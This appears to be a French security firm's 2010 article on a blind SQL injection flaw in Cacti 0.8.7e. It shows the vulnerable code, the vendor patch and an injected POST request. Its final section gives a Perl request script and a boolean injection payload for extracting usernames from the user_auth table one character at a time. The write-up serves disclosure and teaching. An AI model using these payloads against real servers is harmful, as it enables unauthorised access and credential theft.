Actualités :
14/05/2010 - Nouvelle fonctionnalité : devis en ligne !
30/04/2010 - Un exemple de Blind SQL Injection : Vulnérabilité Cacti
26/03/2010 - Forensics : un cas réel d'intrusion
22/02/2010 - Nos nouvelles offres : ToIP, VPN, Pont Hertzien et Forensic
29/01/2010 - Suivez nos Tweets
17/09/2009 - Debug VPN sous CheckPoint SecurePlatform
16/09/2009 - Activation des modules Apache sur Ubuntu 8.0.4 Server
04/09/2009 - Support du FTP passif sur un serveur protégé par iptables/netfilter
01/09/2009 - Linux Guru Wanted !
28/07/2009 - Désactiver la méthode TRACE sur Apache
20/07/2009 - Copier avec écrasement en mode non interactif
14/07/2009 - Connaitre la version de son Linux
28/03/2009 - NIST lance le concours pour SHA-3
17/01/2008 - Newsletter Janvier 2008
07/01/2008 - Monter un environnement PXE en 5 minutes
05/01/2008 - Google fabrique son propre switch 10Gb
15/12/2007 - wfuzz, un fuzzer HTTP
15/11/2007 - Newsletter Novembre 07
23/10/2007 - Un audit sécurité wifi
25/06/2007 - Visioconférences IP au travers de firewalls
12/06/2007 - Monter un serveur FTP sécurisé
10/05/2007 - Methodes AntiSpam
19/04/2007 - Proxy SNMP
13/03/2007 - NBAR, une fonctionnalité méconnue
04/03/2007 - Déchiffrer une session SSL : méthodes et limitations
24/02/2007 - LoadBalancer : Algorithmes de répartition
22/02/2007 - Rebond sur un PIX : évolutions au fil des versions
19/02/2007 - Apple se moque de la sécurité de Vista
25/01/2007 - Mesure réseau sous Linux
20/01/2007 - Load-Balancers : Introduction

 

 

 

Vous pouvez également retouver d'autres articles sur notre blog ou sur Twitter .

 

30/04/2010 - Un exemple de Blind SQL Injection : Vulnérabilité Cacti

 

1 - Description

 Une faille dans « Cacti » a été découverte récemment.

 Celle-ci rend les versions ultérieures ou égales à la 0.8.7e  vulnérables à des attaques de type « injection SQL ».

2 – Mettre à jour

Pour une liste complète des versions vulnérables :

 

·         http://www.securityfocus.com/bid/39653/info

Un patch est à disposition :

·         http://www.cacti.net/downloads/patches/0.8.7e/sql_injection_template_export.patch

3 – Explications

L’injection SQL consiste à injecter du code SQL dans une requête.

Celle qui nous intéresse  ici est une requête POST de « templates_export.php » vers elle-même du paramètre « export_item_id »

Voici le la partie de code responsable:

function form_save() {
       global $export_types;
       if (isset($_POST["save_component_export"])) {
       $xml_data = get_item_xml($_POST["export_type"], /
$_POST["export_item_id"], (((isset($_POST["include_deps"])/
? $_POST["include_deps"] : "") == "") ? false : true));

 

 « export_item_id » prend comme valeur un entier correspondant à l’identifiant du graphique que l’on souhaite exporter.

Ci-dessous la requête POST lorsqu’on soumet la demande d’exportation sur templates_export.php :

POST /cacti-0.8.7e/templates_export.php HTTP/1.1
Host: 192.168.1.107
Accept: text/html,application/xhtml+xml,application/xml;/
q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.107/cacti-0.8.7e/templates_export.php
Cookie: clickedFolder=tree_1%5Etree_1_leaf_7%5E; /
highlightedTreeviewLink=tree_1_leaf_7;
        Cacti=563bb99868dfa24cc70982bf80c5c03e
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

export_item_id=18 and 1=1
&include_deps=on&output_format=3&/
export_type=graph_template&
save_component_export=1&action=save&x=24&y=12



En rouge on observe que l’on peut rajouter « and 1=1 » à la valeur de l’entrée « export_item_id ». Aucune erreur apparaît et votre requête SQL se déroule parfaitement.
Pour ce faire nous avons utilisé Tamper Data, un plugin Firefox afin d’intercepter et de modifier la requête. (Cf la capture ci-dessous)

« 1=1 » est toujours vrai. Il est utilisé ici comme exemple, mais nous pouvons changer 1=1 par une requête SQL renvoyant VRAI. Par exemple, nous pouvons récupérer la liste des utilisateurs.
(Cf 5-Pour aller plus loin)

Ci-dessous une capture de Tamper Data avec la modification :

 

4- Le patch

Voici le code après le patch :

function form_save() {
       global $export_types;
+    /* ================= input validation ================= */
+    input_validate_input_number(get_request_var_post("export_item_id"));
+    /* ==================================================== */
+
       if (isset($_POST["save_component_export"])) {
              $xml_data = get_item_xml($_POST["export_type"], $_POST["export_item_id"], /
(((isset($_POST["include_deps"]) ?
$_POST["include_deps"] : "") == "") ? false : true));

 

On constate qu’une validation est faite sur l’entrée « export_item_id » afin d’éviter l’injection SQL.

La fonction en question :

function input_validate_input_number($value) {
              if ((!is_numeric($value)) && ($value !=
"")) {
                        die_html_input_error();
              }
}

 

La vérification est simple. On regarde si la valeur est bien numérique et non nulle.

Notre « and 1=1 » ne marchera donc plus.

Capture d’une tentative d’injection après l’application du patch :

 

 

5- Pour aller plus loin

 

Il est intéressant de voir la faille exploitée concrètement

Comme exemple, nous allons récupérer la liste des utilisateurs Cacti en base de données.

On ne  peut malheureusement pas faire un dump de la base de données.

 Les headers Php étant déjà envoyés au serveur, ils ne peuvent être modifiés rendant l’affichage impossible (cf  capture ci-dessous).

 

Il va donc falloir ruser pour les récupérer.

Il est important de noter que la page reçue est différente s’il y a une erreur ou pas.
 L’injection SQL ne fonctionnant que s’il n’y a pas d’erreur.
 Dans notre cas les 7 premiers caractères retournés  lorsqu’il n’y a pas d’erreurs sont : «  ».
Cela nous sera utile dans notre script car nous pourrons les tester afin de déterminer si la requête SQL s’est bien exécutée.

Nous pouvons donc faire un script qui forge des requêtes POST, les envoie et récupère la page en réponse.

 Exemple en PERL :

    #LA REQUETE POST AVEC L’INJECTION

my $req = (POST 'http://cacti.randco.fr/templates_export.php',

    [

     export_item_id => '44 AND 1=1',

     include_deps => 'on',

     output_format => '3',

     export_type => 'graph_template',

     save_component_export => '1',

     action => 'save',

     x => '34',

     y => '17',

    ]);

 

    #ON ENVOIE ET ON RECUPERE LE RESULTAT

    my $request = $bot->request($req);

    my $content = $bot->content();

  

Nous allons maintenant modifier  notre injection afin de récupérer le premier caractère du premier username.

L’injection sera :

export_item_id => “44 and ascii(substring((SELECT username from user_auth limit 0,1),0,1))=$i”

 

Ici nous faisons un test qui compare le code ascii du premier caractère du premier login à une variable $i.

Faites varier votre variable de 0 à 128; Si la page retournée par le script n’est pas la page d’erreur, alors vous avez trouvé le code ascii qui vaut $i !

Voilà l’idée générale, avec ce principe vous pouvez récupérer le contenu des tables de la base de données de Cacti.